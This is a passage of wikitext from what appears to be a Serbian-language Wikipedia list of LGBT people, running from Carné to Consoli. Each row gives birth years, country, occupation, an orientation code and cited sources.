[[Francuska]] | Reditelj | G <ref>[http://www.glbtq.com/arts/carne_m.html Marcel Carné at Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070212141103/http://www.glbtq.com/arts/carne_m.html |date=2007-02-12 }}. Retrieved November 20, 2006.</ref> |- | [[Rachel Carns]] | 1969 | [[Sjedinjene Američke Države|SAD]] | Muzičarka, umetnica | L <ref>Pike, Laurie (April, 16, 2002) [http://findarticles.com/p/articles/mi_m1589/is_2002_April_16/ai_84669431 Three chords and a rolodex: lesbian rockers who prefer to fly under the radar create a nationwide, self-supportive network], ''[[The Advocate]]''. Retrieved March 22, 2007.</ref> |- | [[Ana Carolina]] | 1974 | [[Brazil]] | Muzičarka | B <ref>Matins, Sérgio ([[2005]] [[December 21]]), "[http://veja.abril.com.br/211205/p_122.html Sou bi. E daí?]", [[Veja (magazine)|Veja]]. Retrieved on [[2007]] [[October 5]].</ref> |- | [[Edward Carpenter]] | 1844-1929 | [[Ujedinjeno Kraljevstvo|UK]] | Writer, LGBT rights activist | G <ref>[http://www.edwardcarpenter.net/ecbiog.htm Biography at EdwardCarpenter.com]. Retrieved November 15, 2006.</ref> |- | [[Tim Carpenter]] | ? | [[Sjedinjene Američke Države|SAD]] | Političar | G <ref>[http://www.hrl-pac.org/id40.html HRL-PAC Wisconsin's LGBT Political Action Committee] {{Webarchive|url=https://web.archive.org/web/20070928071627/http://www.hrl-pac.org/id40.html |date=2007-09-28 }}. Retrieved July 05, 2007.</ref> |- | [[Kelli Carpenter O'Donnell]] | 1967 | [[Sjedinjene Američke Države|SAD]] | Poslovna žena, udata za [[Rosie O'Donnell]] | L <ref>[http://abcnews.go.com/2020/story?id=124302&page=1 20/20 Interview with Kelli Carpenter O'Donnell]</ref> |- | [[Alan Carr]] | 1976 | [[Ujedinjeno Kraljevstvo|UK]] | Komičar | G <ref name="news.independent.co.uk"/> |- | [[Dora Carrington]] | 1893-1932 | [[Ujedinjeno Kraljevstvo|UK]] | Umetnik | B <ref>[http://www.glbtq.com/arts/carrington_d.html Dora Carrington on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20130310110036/http://www.glbtq.com/arts/carrington_d.html |date=2013-03-10 }}. Retrieved November 17, 2006.</ref> |- | [[Jim Carroll]] | 1950 | [[Sjedinjene Američke Države|SAD]] | Pisac, pesnik, muzičar | B <ref>The Basketball Diaries. Penguin books. 1978. New York, NY.</ref> |- | [[Chris Carter (politician)|Chris Carter]] | 1952 | [[Novi Zeland]] | Političar | G <ref>[http://www.beehive.govt.nz/Biography.aspx?MinisterID=64 Official government biography] {{Webarchive|url=https://web.archive.org/web/20060828071604/http://www.beehive.govt.nz/Biography.aspx?MinisterID=64 |date=2006-08-28 }}. Retrieved November 15, 2006.</ref> |- | [[Nell Carter]] | 1948-2003 | [[Sjedinjene Američke Države|SAD]] | Pevač, glumac | B <ref>Pfefferman, Naomi (January 31, 2003), [http://www.jewishsf.com/content/2-0-/module/displaystory/story_id/19693/edition_id/400/format/html/displaystory.html 'Pop-soul belter' Nell Carter, 54, devoted convert to Judaism, dies'], ''L.A. Jewish Journal''. Retrieved November 15, 2006.</ref> |- | [[Ted Casablanca]] | ? | [[Sjedinjene Američke Države|SAD]] | Novinar | G <ref>Casablanca, Ted (May 8, 2007), [http://www.eonline.com/gossip/awful/index.jsp?uuid=c883a5f8-685e-429a-8bcb-e05dd3c87405&page=2 The Awful Truth], Eonline.com. Retrieved June 29, 2007.</ref> |- | [[Giacomo Casanova]] | 1725-1798 | Venecija | Putnik, pisac | B <ref>Murphy, Ryan, [http://uk.askmen.com/toys/special_feature_100/107b_special_feature.html 5 Things You Didn't Know About Casanova] {{Webarchive|url=https://web.archive.org/web/20071227053654/http://uk.askmen.com/toys/special_feature_100/107b_special_feature.html |date=2007-12-27 }}, Askmen.com. Retrieved November 15, 2006.</ref> |- | [[Roger Casement]] | 1864-1916 | [[Irska]] | Diplomata, pesnik | G <ref>Dudgeon, Jeffrey (2002). Roger Casement: The Black Diaries. Belfast Press. {{ISBN|0-9539287-2-1}}.</ref> |- | [[Michael Cashman]] | 1950 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac, političar | G <ref>Shoffman, Marc (March 10, 2006), [http://www.pinknews.co.uk/news/articles/2005-752.html EastEnders star turned MEP to hold gay marriage], Pinknews.com. Retrieved November 15, 2006.</ref> |- | [[Maggie Cassella]] | ? | [[Kanada]] | Komičarka | L <ref>Karlin, Susan (March 4, 2003), [http://findarticles.com/p/articles/mi_m1589/is_2003_March_4/ai_98172210 Wake-up Maggie: expatriate American comic Maggie Cassella tells all about her happy, gay life as a talk-show host in Canada], ''The Advocate''. Retrieved November 15, 2006.</ref> |- | [[Clint Catalyst]] | 1971 | [[Sjedinjene Američke Države|SAD]] | Pisac i izvođač | G <ref>Pan, Marcus (December 2000), "[http://www.legendsmagazine.net/105/clint.htm INTERVIEW: Clint Catalyst] {{Webarchive|url=https://archive.today/20120906063237/http://www.legendsmagazine.net/105/clint.htm |date=2012-09-06 }}", ''LegendsMagazine.net''. Retrieved on 11 February 2008</ref> |- | [[Willa Cather]] | 1873-1947 | [[Sjedinjene Američke Države|SAD]] | Spisateljica | L <ref>"Cather's Life: Chronology." The Willa Cather Archive, University of Nebraska. 21 March 2007</ref> |- | [[Constantine P. Cavafy]] | 1863-1933 | [[Grčka]] | Pisac | B <ref>[http://www.cavafy.com/companion/bio.asp Official biography]. Retrieved December 7, 2006.</ref> |- | [[Megan Cavanagh]] | 1960 | [[Sjedinjene Američke Države|SAD]] | Glumica | L <ref>{{citation |periodical=[[Time Out|Time Out Chicago]] |date=[[October 11]], [[2007]] |url=http://www.timeout.com/chicago/article/gblt/23204/ex-and-the-city |first=Jason A. |title=Ex and the city |last=Heidemann |access-date=2008-04-23 |archive-date=2007-12-28 |archive-url=https://archive.today/20071228022602/http://www.timeout.com/chicago/article/gblt/23204/ex-and-the-city |dead-url=yes }}</ref> |- | [[Cazuza]] | 1958-1990 | [[Brazil]] | Pevač | G <ref>Barteldes, Earnest, [http://gaytoday.badpuppy.com/garchive/entertain/050100en.htm Cazuza:Brazil's First Openly Gay Singer] {{Webarchive|url=https://web.archive.org/web/20070625010532/http://gaytoday.badpuppy.com/garchive/entertain/050100en.htm |date=2007-06-25 }}, ''Gay Today''. Retrieved November 15, 2006.</ref> |- | [[Cazwell]] | 1972 | [[Sjedinjene Američke Države|SAD]] | [[Reper]] | G <ref>{{citation |title=Ten Minutes with Cazwell |date=[[December 26]], [[2006]] |url=http://www.gaywired.com/article.cfm?section=68&id=12159 |periodical=[[GayWired.com]] |accessdate=28. 02. 2008. |first=Bryan |last=Ochalla |archivedate=2007-02-24 |archiveurl=https://web.archive.org/web/20070224091347/http://www.gaywired.com/article.cfm?section=68&id=12159 |deadurl=yes }}</ref> |- | [[Luis Cernuda]] | 1902-1963 | [[Španija]] | Pesnik | G <ref>Barriales, Sandra (October 11, 2002), [http://www.mtholyoke.edu/offices/comm/csj/101102/luis.shtml Honoring Luis Cernuda] {{Webarchive|url=https://web.archive.org/web/20070308052606/http://www.mtholyoke.edu/offices/comm/csj/101102/luis.shtml |date=2007-03-08 }}, ''College Street Journal''. Retrieved November 15, 2006.</ref> |- | [[Ilene Chaiken]] | ? | [[Sjedinjene Američke Države|SAD]] | Spisateljica i TV producentkinja | L <ref>Strohm, Deidre (January 22, 2004), [http://www.power-up.net/chaiken.html A CONVERSATION WITH ILENE CHAIKEN] {{Webarchive|url=https://web.archive.org/web/20071105100457/http://www.power-up.net/chaiken.html |date=2007-11-05 }}, Power-up.net. Retrieved November 18, 2006.</ref> |- | [[John Challis (activist)|John Challis]] | 1928 | [[Australija]] | LGBT aktivista | G <ref>{{cite news |title=Couple's concern over super delays |publisher=''Sydney Star Observer'' |url=http://www.ssonet.com.au/display.asp?ArticleID=6554 |date=2007-05-24 |accessdate=2007-11-19 |archive-date=2007-08-31 |archive-url=https://web.archive.org/web/20070831062124/http://www.ssonet.com.au/display.asp?ArticleID=6554 |dead-url=yes }}</ref> |- | [[Joan Chalmers]] | 1928 | [[Kanada]] | Filantropist | G <ref>Landstreet, Linda (1995), [http://www.wildideas.net/calyx/library/amesbury.html Art on the Front Lines], Wildideas.net. Retrieved November 20, 2006.</ref> |- | [[Richard Chamberlain]] | 1934 | [[Sjedinjene Američke Države|SAD]] | Glumac | G <ref>Chamberlain, Richard. Shattered Love: A Memoir. New York: ReganBooks, 2003.</ref> |- | [[Sam Champion]] | 1961 | [[Sjedinjene Američke Države|SAD]] | TV voditelj | G <ref>Limsky, Drew ([[2005-08-30]]). ''[http://findarticles.com/p/articles/mi_m1589/is_2005_August_30/ai_n15655247 Nueva gay island]''. [[The Advocate]].</ref> |- | [[Graham Chapman]] | 1941-1989 | [[Ujedinjeno Kraljevstvo|UK]] | Komičar ([[Monty Python]]) | G <ref>McCabe, Bob (2005). The Life of Graham, The authorised biography of Graham Chapman. London: Orion Books. {{ISBN|0-7528-5773-8}}.</ref> |- | [[Otis Charles]] | 1926 | [[Sjedinjene Američke Države|SAD]] | [[episkopos|Biskup]] u [[Episcopal Church in the United States of America|Episkopalnoj crkvi SAD]] | G <ref>[http://www.lgbtran.org/Profile.aspx?A=C&ID=129 Profile: Right Rev. Otis Charles, DD, STD]. The Lesbian, Gay, Bisexual, and Transgender Religious Archives Network ([[2003-06-03]]). Retrieved on [[2007-06-02]].</ref> |- | [[Ian Charleson]] | 1949-1990 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref>[http://www.screenonline.org.uk/people/id/562087/index.html Short Biograpy at Screenonline.org.uk]. Retrieved November 15, 2006.</ref> |- | [[Bruce Chatwin]] | 1940-1989 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac i putopisac | B <ref>Susannah Clapp, ''With Chatwin: Portrait of a Writer'' {{ISBN|0-09-973371-4}}</ref> |- | [[Charles Chauvel (politician)|Charles Chauvel]] | 1969 | [[Novi Zeland]] | Političar | G <ref>Berry, Ruth (July 10, 2006), [http://www.nzherald.co.nz/section/1/story.cfm?c_id=1&objectid=10390592 Jim Sutton to quit politics], New Zealand Herald. Retrieved January 24, 2007.</ref> |- | [[Christian Chávez]] | 1983 | [[Meksiko]] | Muzičar i glumac | G <ref>Hayes, Christopher (March 5, 2007) [http://www.pinknews.co.uk/news/articles/2005-3847.html Mexico rocked by gay pop star] {{Webarchive|url=https://web.archive.org/web/20071217165320/http://www.pinknews.co.uk/news/articles/2005-3847.html |date=2007-12-17 }}, Pinknews.co.uk. Retrieved March 22, 2007.</ref> |- | [[Alexander Chee]] | ? | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref name="Their Coming Out Stories 1996">Boys Like Us:Gay Writers Tell Their Coming Out Stories, Patrick Merla(ed.) Avon Books. 1996.</ref> |- | [[John Cheever]] | 1912-1982 | [[Sjedinjene Američke Države|SAD]] | Pisac | B <ref>[http://www.glbtq.com/literature/cheever_j.html Caravaggio on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20140308210049/http://www.glbtq.com/literature/cheever_j.html |date=2014-03-08 }}. Retrieved November 16, 2006.</ref> |- | [[Mary Cheney]] | 1969 | [[Sjedinjene Američke Države|SAD]] | LGBT aktivistkinja, čerka [[Dick Cheney]]a | L <ref>, Cheney, Mary, ''Now It's My Turn : A Daughter's Chronicle of Political Life'', Simon and Schuster, 2006. ({{ISBN|1-4165-2049-X}})</ref> |- | [[Marc Cherry]] | 1962 | [[Sjedinjene Američke Države|SAD]] | TV scenarista | G <ref>Jensen, Michael, (January 11, 2006), [https://web.archive.org/web/20060506081052/http://www.afterelton.com/TV/2006/1/desperate2.html Forget Book of Daniel — the Real Gay Action is on Desperate Housewives (page 2)], afterelton.com. Retrieved October 14, 2006.</ref> |- | [[Neneh Cherry]] | 1964 | [[Švedska]] | Pop muzičarka | B <ref>[http://bi.org/db/music.html Mention at Bi.org] {{Webarchive|url=https://web.archive.org/web/20070613132241/http://bi.org/db/music.html |date=2007-06-13 }}. Retrieved November 17, 2006.</ref> |- | [[Leslie Cheung]] | 1956-2003 | Hong Kong | Glumac, pop muzičar | B <ref>Corliss, R. (2001), [http://www.time.com/time/asia/arts/magazine/0,9754,108021,00.html "Forever Leslie"] {{Webarchive|url=https://web.archive.org/web/20081006052623/http://www.time.com/time/asia/arts/magazine/0%2C9754%2C108021%2C00.html |date=2008-10-06 }}, ''Time Magazine'' Asia Edition. Retrieved December 17, 2005.</ref> |- | [[Alfred Chester]] | 1928-1971 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>Sam Jordison ([[2007-01-19]]), [http://blogs.guardian.co.uk/books/2007/01/get_it_off_your_chester.html Smugging up on forgotten authors] {{Webarchive|url=https://web.archive.org/web/20070122134021/http://blogs.guardian.co.uk/books/2007/01/get_it_off_your_chester.html |date=2007-01-22 }}. ''[[The Guardian]]''. Retrieved on 2007 July 17.</ref> |- | [[Craig Chester]] | 1965 | [[Sjedinjene Američke Države|SAD]] | Glumac, scenarista | G <ref>{{cite web |title=The Last Gay Word: A Gay Indiana Jones? |first=Brent |last=Hartinger |date=29. 11. 2006. |accessdate=23. 07. 2007. |work=[[AfterElton.com]] |url=http://www.afterelton.com/columns/2006/11/lastgayword.html |archiveurl=https://web.archive.org/web/20110709164519/http://www.afterelton.com/columns/2006/11/lastgayword.html |archivedate=2011-07-09 |deadurl=no }}</ref> |- | [[Paddy Chew]] | 1960-1999 | [[Singapur]] | LGBT i AIDS aktivista | G <ref>Hamilton, Andrea (May 21, 1999), [http://www.sfdonline.org/Link%20Pages/Link%20Folders/Other/aidschew.html Those final days], ''AsiaWeek''. Retrieved January 24, 2007.</ref> |- | [[Georgy Chicherin]] | 1872-1936 | Russian | Političar | G <ref>[http://www.glbtq.com/literature/kuzmin_ma.html Mikhail Kuzmin on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070516041740/http://www.glbtq.com/literature/kuzmin_ma.html |date=2007-05-16 }}(mentions Georgy Chicherin). Retrieved January 24, 2007.</ref> |- | [[Staceyann Chin]] | ? | [[Jamajka]] | Pesnik | G <ref>GayNZ.com (October 25, 2007), [http://www.gaynz.com/articles/publish/3/article_5138.php Oprah presents: 'Gay around the world'] {{Webarchive|url=https://web.archive.org/web/20071220130943/http://www.gaynz.com/articles/publish/3/article_5138.php |date=2007-12-20 }}. Retrieved October 29, 2007.</ref> |- | [[Margaret Cho]] | 1968 | [[Sjedinjene Američke Države|SAD]] | Komičarka | B <ref>[http://www.hrc.org/Template.cfm?Section=Get_Informed4&Template=/ContentManagement/ContentDisplay.cfm&ContentID=14042 Biography at the Human Rights Campaign] {{Webarchive|url=https://web.archive.org/web/20061001023500/http://www.hrc.org/Template.cfm?Section=Get_Informed4&Template=%2FContentManagement%2FContentDisplay.cfm&ContentID=14042 |date=2006-10-01 }}. Retrieved November 16, 2006.</ref> |- | [[Zero Chou]] | 1969 | Taiwanese | Reditelj | G <ref>Sonia Kolesnikov-Jessop, [https://web.archive.org/web/20070620080537/http://www.iht.com/articles/2007/06/06/arts/fmjessop.php "In Taiwan, 'Spider Lilies' fuels a small gay renaissance"], ''International Herald Tribune'', [[June 7]], [[2007]]. Retrieved on [[July 5]], [[2007]].</ref> |- | [[Wayson Choy]] | 1939 | [[Kanada]] | Pisac | G <ref>Burnett, Richard , [http://www.vueweekly.com/articles/default.aspx?i=1111 THREE DOLLAR BILL]. Retrieved November 16, 2006.</ref> |- | [[Meg Christian]] | 1946 | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref>Kort, Michele (2000 August 15), "[https://archive.today/20070714063855/http://findarticles.com/p/articles/mi_m1589/is_2000_August_15/ai_63692919 = 14. 07. 2007.+06:38:55 The Changer And The Changed]", [[The Advocate]]. Retrieved on 2007 November 17</ref> |- | [[Christina of Sweden]] | 1626-1689 | [[Švedska]] | Kraljica Švedske | B <ref>Magnusson, Jan. (December 2006) [http://www.glbtq.com/social-sciences/sweden.html Sweden] {{Webarchive|url=https://web.archive.org/web/20070714174027/http://www.glbtq.com/social-sciences/sweden.html |date=2007-07-14 }}. Glbtq.com. Retrieved February 2007.</ref><ref>Mann, Richard G. (September 2006) [http://www.glbtq.com/arts/eur_art1_baroque,4.html European Art: Baroque] {{Webarchive|url=https://web.archive.org/web/20080520023635/http://www.glbtq.com/arts/eur_art1_baroque,4.html |date=2008-05-20 }}. Glbtq.com. Retrieved February 2007.</ref> |- | [[Nathan Christoffersen]] | 1977-2005 | [[Sjedinjene Američke Države|SAD]] | LGBT aktivista, novinar | G <ref>Caldwell, John (March 14, 2006), [http://www.advocate.com/currentstory1_w.asp?id=27955 Faith of his father ], ''The Advocate''. Retrieved November 16, 2006.</ref> |- | [[Chrystos]] | 1946 | [[Sjedinjene Američke Države|SAD]] | Pesnik | G <ref>Sorrel, Lorraine, ''Not Vanishing. Off Our Backs.'' Washington: Mar 31, 1989. Vol.19, Iss. 3.</ref> |- | [[Ralph Chubb]] | 1892-1960 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac | G <ref>Rahman, Tariq (1991). Ephebophilia and the Creation of a Spiritual Myth in the Works of Ralph Nicholas Chubb. Journal of Homosexuality. 20 (1-2), p103-127</ref> |- | [[Annabelle Chvostek]] | 1973 | [[Kanada]] | Pevač/tekstopisac | L <ref>Mel Hogan, [http://www.artthreat.net/2007/05/244 Life After the Wailin' Jennys: Chatting with Annabelle Chvostek] {{Webarchive|url=https://web.archive.org/web/20071016165049/http://www.artthreat.net/2007/05/244 |date=2007-10-16 }}. Retrieved [[February 10]] [[2008]]</ref> |- | [[David Cicilline]] | 1961 | [[Sjedinjene Američke Države|SAD]] | Političar, gradonačelnik | G <ref>[http://www.washingtonpost.com/wp-dyn/content/article/2006/06/07/AR2006060702114.html A Reformer In Rhode Island], by [[David Broder]], ''[[The Washington Post]]'', p. A23, [[June 8]], [[2006]]. Retrieved November 16, 2006.</ref> |- | [[Adriano Cintra]] | 1972 | [[Brazil]] | Muzičar | G <ref>Heawood, Sophie. [http://arts.guardian.co.uk/filmandmusic/story/0,,1831270,00.html Sexy Beasts], ''[[The Guardian]]''. Retrieved July 05, 2007.</ref> |- | [[Hélène Cixous]] | 1937 | [[Francuska]] | Spisateljica, filozofkinja | B <ref>Shiach, Morag. Hélène Cixous: A Politics of Writing. New York: Routledge, 1991.</ref> |- | [[James Clark (Britanski diplomat)|James Clark]] | 1963 | [[Ujedinjeno Kraljevstvo|UK]] | Diplomat | G <ref>''The Advocate'' (May 11, 2004), [http://findarticles.com/p/articles/mi_m1589/is_2004_May_11/ai_n6141905 Royally gay in Luxembourg]. Retrieved November 16, 2006.</ref> |- | [[Michael Clark (igrač)|Michael Clark]] | 1962 | British | Igrač i koreograf | G <ref>Davis, Jill and William Green. ''Gay theatre''. in Banham, Martin. ed. ''The Cambridge Guide to Theatre.'' Cambridge: Cambridge University Press, 1995. p. 415.</ref> |- | [[Cam Clarke]] | 1957 | [[Sjedinjene Američke Države|SAD]] | Glumac | G <ref>[http://www.affirmation.org/memorial/profiles.shtml Entry at Affirmation.org] {{Webarchive|url=https://web.archive.org/web/20070927235539/http://www.affirmation.org/memorial/profiles.shtml |date=2007-09-27 }}. Retrieved November 16, 2006.</ref> |- | [[Cheryl Clarke]] | 1947 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>{{citation |title=Living As a Lesbian: Poetry |first=Cheryl |last=Clarke |year=1986 |publisher=Firebrand Books |isbn=0932379133}}</ref> |- | [[Julian Clary]] | 1959 | [[Ujedinjeno Kraljevstvo|UK]] | Komičar | G <ref>Ngoo, Yve, [http://www.bbc.co.uk/tyne/features/2004/06/julian_clary_interview.shtml Julian Clary interview], BBC.com. Retrieved November 16, 2006.</ref> |- | [[Beth Clayton]] | ? | [[Sjedinjene Američke Države|SAD]] | Operska pevačica | L <ref>[http://www.magazine.org/independent_publishers/The_Four_Questions/ Opera News Magazine] {{Webarchive|url=https://web.archive.org/web/20071211103647/http://www.magazine.org/independent_publishers/The_Four_Questions/ |date=2007-12-11 }} Quote from the publishers: We did what we considered a very important cover story in June 2002, in which Patricia Racette, a very important soprano, publicly discussed her homosexuality for the first time. The response from our readers on that was overwhelmingly positive. The difference for us is that Miss Racette was on our cover because of her accomplishments as a singer. Her relationship with her partner was and is a very important part of who she is an artist, so with her permission and encouragement, we included a discussion of that part of her life. We did not put her on the cover of the magazine because she was a lesbian.</ref> |- | [[Charles Clegg]] | 1916-1979 | [[Sjedinjene Američke Države|SAD]] | Pisac, fotograf | G <ref name="Reevy, Tony 2005"/> |- | [[Douglas Clegg]] | 1958 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>[http://www.douglasclegg.com/bio/ Official site biography]. Retrieved November 16, 2006.</ref> |- | [[Karl Clemens]] | 1942 | [[Kanada]] | Katolički sveštenik | G <ref>LifeSiteNews.com (October 24, 2005), [http://www.lifesite.net/ldn/2005/oct/05102402.html Over $700,000 Catholic Church Funds to Canadian Anti-Catholic TV Network Questioned] {{Webarchive|url=https://web.archive.org/web/20070927234255/http://www.lifesite.net/ldn/2005/oct/05102402.html |date=2007-09-27 }}. Retrieved November 20, 2006.</ref> |- | [[Miss Cleo]] | 1962 | [[Sjedinjene Američke Države|SAD]] | Vidovnjakinja | L <ref>Hernandez, Greg (October 10, 2006), [http://www.advocate.com/currentstory1_w_ektid36683.asp Miss Cleo comes out], ''The Advocate''. Retrieved June 29, 2007.</ref> |- | [[Van Cliburn]] | 1935 | [[Sjedinjene Američke Države|SAD]] | Pijanista | G <ref>{{cite news |first=Linda |last=Rapp |title=Cliburn, Van |accessdate=01. 03. 2008. |url=http://www.glbtq.com/arts/cliburn_v.html |year=2002 |work=glbtq.com |archivedate=2015-07-17 |archiveurl=https://web.archive.org/web/20150717232234/http://www.glbtq.com/arts/cliburn_v.html |deadurl=yes }}</ref> |- | [[Montgomery Clift]] | 1920-1966 | [[Sjedinjene Američke Države|SAD]] | Glumac | B <ref>[http://www.glbtq.com/arts/clift_m.html Montgomery Clift on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070518144739/http://www.glbtq.com/arts/clift_m.html |date=2007-05-18 }}. Retrieved November 16, 2006.</ref> |- | [[Kate Clinton]] | ? | [[Sjedinjene Američke Države|SAD]] | Komičarka | L <ref>[http://kateclinton.com/about-kate/ Official site biography]. Retrieved November 16, 2006.</ref> |- | [[Gary Cloutier]] | ? | [[Sjedinjene Američke Države|SAD]] | Političar | G <ref>{{citation |title=Gary Cloutier |periodical=[[Gay & Lesbian Victory Fund]] |url=http://www.victoryfund.org/endorsed_candidates/profile/candidate:55 |accessdate=23. 11. 2007. |archive-date=2007-11-22 |archive-url=https://web.archive.org/web/20071122143743/http://www.victoryfund.org/endorsed_candidates/profile/candidate%3A55 |dead-url=yes }}.</ref> |- | [[Tom Coates (technologist)|Tom Coates]] | 1972 | [[Ujedinjeno Kraljevstvo|UK]] | Bloger | G <ref>[http://www.plasticbag.org/about/ Official site biography]. Retrieved November 16, 2006.</ref> |- | [[James Coco]] | 1930-1987 | [[Sjedinjene Američke Države|SAD]] | Glumac | G <ref>Boze Hadleigh, ''Hollywood Gays: Conversations With : Cary Grant, Liberace, Tony Perkins, Paul Lynde, Cesar Romero, Brad Davis, Randolph Scott, James Coco, William Haines, David lewis'', Barricade Books, Inc. (August 1, 1996), {{ISBN|1-56980-083-9}}.</ref> |- | [[Jean Cocteau]] | 1889-1963 | [[Francuska]] | Pisac, reditelj, umetnik | G <ref>[http://www.glbtq.com/literature/cocteau_j.html Jean Cocteau on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070416054330/http://www.glbtq.com/literature/cocteau_j.html |date=2007-04-16 }}. Retrieved November 16, 2006.</ref> |- | [[Scott Coffey]] | 1967 | [[Sjedinjene Američke Države|SAD]] | Pisac, glumac, reditelj | G <ref>Rainbownetwork.com (13 July, 2006), [http://www.rainbownetwork.com/Film/detail.asp?iData=25951&iCat=9&iChannel=14&nChannel=Film Scott Coffey interview]. Retrieved November 16, 2006.</ref> |- | [[Andy Cohen (TV)|Andy Cohen]] | 1968 | [[Sjedinjene Američke Države|SAD]] | TV urednik | G <ref>Juergens, Brian ([[2007-02-14]]), [http://www.afterelton.com/archive/elton/people/2007/2/andycohen.html Bravo’s Andy Cohen Loves His Big Gay Job], [[AfterElton.com]]. Retrieved on [[2007-09-26]].</ref> |- | [[Benjamin Cohen]] | 1982 | [[Ujedinjeno Kraljevstvo|UK]] | Novinar | G <ref>Cohen, Benjamin (January 4, 2006), [http://www.pinknews.co.uk/news/opinion/2005-306.html Comment: Can we tolerate homophobia for much longer?] {{Webarchive|url=https://web.archive.org/web/20070505203537/http://www.pinknews.co.uk/news/opinion/2005-306.html |date=2007-05-05 }}. Retrieved November 16, 2006.</ref> |- | [[Dawn Cohen]] | ? | [[Australija]] | Aktivistkinja | L <ref>Adcock, Bronyn (March 3, 2007),[ http://www.abc.net.au/pm/stories/s106518.htm Jewish float to appear at Sydney Mardi Gras, ABC interview with Cohen], [[Australian Broadcasting Corporation]]. Retrieved January 21, 2007.</ref> |- | [[Roy Cohn]] | 1927-1986 | [[Sjedinjene Američke Države|SAD]] | Advokat, konzervativni aktivista | G <ref>Carr, Adam. "Cohn, Roy." Who's Who in Contemporary Gay & Lesbian History from World War II to the Present Day. Robert Aldrich and Garry Wotherspoon, eds. London: Routledge, 2001. 85-87.</ref> |- | [[Steven Cojocaru]] | 1965 | [[Kanada]] | Modni kritičar | G <ref>Stuever, Hank (April 19, 2003), [http://www.hankstuever.com/cojocaru.html Dishy Delight: Steven Cojocaru, a Glamour Boy in TV's Post-Gay Embrace] {{Webarchive|url=https://web.archive.org/web/20081222160720/http://www.hankstuever.com/cojocaru.html |date=2008-12-22 }}, ''The Washington Post''. Retrieved November 20, 2006.</ref> |- | [[Kyla Cole]] | 1978 | [[Slovačka]] | Model | B <ref>[http://www.kylacolesite.com/free_portfolio_interviews.php Official site Q+A]. Retrieved November 17, 2006.</ref> |- | [[Brian Coleman]] | 1961 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | G <ref>Shoffman, Mark, (May 11, 2006), [http://www.pinknews.co.uk/news/politics/2005-1444.html Mayor slams gay London Assembly chair] {{Webarchive|url=https://web.archive.org/web/20070930030306/http://www.pinknews.co.uk/news/politics/2005-1444.html |date=2007-09-30 }}, Pinknews.co.uk. Retrieved February 6, 2007.</ref> |- | [[Colette]] | 1873-1954 | [[Francuska]] | Spisateljica | L <ref>[http://www.glbtq.com/literature/colette.html Colette on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070428115331/http://www.glbtq.com/literature/colette.html |date=2007-04-28 }}. Retrieved November 16, 2006.</ref> |- | [[Cyril Collard]] | 1957-1993 | [[Francuska]] | Pisac | G <ref>[http://www.glbtq.com/arts/collard_c.html Cyril Collard on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070814083923/http://www.glbtq.com/arts/collard_c.html |date=2007-08-14 }}. Retrieved November 16, 2006.</ref> |- | [[Maureen Colquhoun]] | 1928 | [[Ujedinjeno Kraljevstvo|UK]] | Političarka | L <ref>Susan Hemmings, (1980), "Horrific Practices: How lesbians were presented in the newspapers of 1978", Gay Left Collective, "Homosexuality: Power and Politics", pages 157-171.</ref> |- | [[Robert Colquhoun]] | 1914-1962 | [[Ujedinjeno Kraljevstvo|UK]] | Scenograf, slikar | G <ref>[http://www.glbtq.com/arts/set_design,3.html Robert Colquhoun on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20070310090531/http://www.glbtq.com/arts/set_design%2C3.html |date=2007-03-10 }}. Retrieved February 6, 2007.</ref> |- | [[Zebedy Colt]] | 1929-2004 | [[Sjedinjene Američke Države|SAD]] | Glumac, reditelj | G <ref>{{cite web |url=http://www.queermusicheritage.us/sep2004zc.html |work=Queer Music Heritage |date = 09. 03. 1977. |accessdate = 12. 08. 2007. |title=Hollywood |first=Christopher |last=Stone}}</ref> |- | [[Bill Condon]] | 1955 | [[Sjedinjene Američke Države|SAD]] | Scenarista, reditelj | G <ref>Karger, Dave (October 6, 2000), [http://www.ew.com/ew/report/0,6115,277853_7%7C13144%7C%7C0_0_,00.html Calling their own shots] {{Webarchive|url=https://archive.today/20110607185920/http://www.ew.com/ew/report/0,6115,277853_7%7C13144%7C%7C0_0_,00.html |date=2011-06-07 }}, Ew.com. Retrieved November 12, 2006.</ref> |- | [[Charlie Condou]] | 1974 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref>Moran, Caitlin ([[2006]] [[March 19]]), "[http://www.timesonline.co.uk/tol/life_and_style/article738727.ece Charlie Condou and his sister Niki Shisler] {{Webarchive|url=https://web.archive.org/web/20110524040636/http://www.timesonline.co.uk/tol/life_and_style/article738727.ece |date=2011-05-24 }}", ''[[The Sunday Times]]''. Retrieved on [[2007]] [[October 25]].</ref> |- | [[Timothy Conigrave]] | 1959-1994 | [[Australija]] | Glumac, pisac | G <ref>Conigrave, Timothy, ''Holding the Man'', published by Penguin Books, 1995. {{ISBN|0-14-025784-5}}</ref> |- | [[Jasper Conran]] | 1959 | [[Ujedinjeno Kraljevstvo|UK]] | Modni dizajner | G <ref>Rainbownetwork.com, (June 29, 2005), [http://www.rainbownetwork.com/Features/detail.asp?iData=23702&iCat=32&iChannel=25&nChannel=Features#top The Pink List 2005]. Retrieved June 25, 2007.</ref> |- | [[Massimo Consoli]] | 1945-2007 | [[Italija]] | Istoričar, aktivista, pisac | G <ref>Wockner, Rex ([[2007]] [[November 21]]), "[http://www.windycitymediagroup.com/gay/lesbian/news/ARTICLE.php?AID=16665 Italian gay leader dies] {{Webarchive|url=https://web.archive.org/web/20110928093004/http://www.windycitymediagroup.com/gay/lesbian/news/ARTICLE.php?AID=16665 |date=2011-09-28 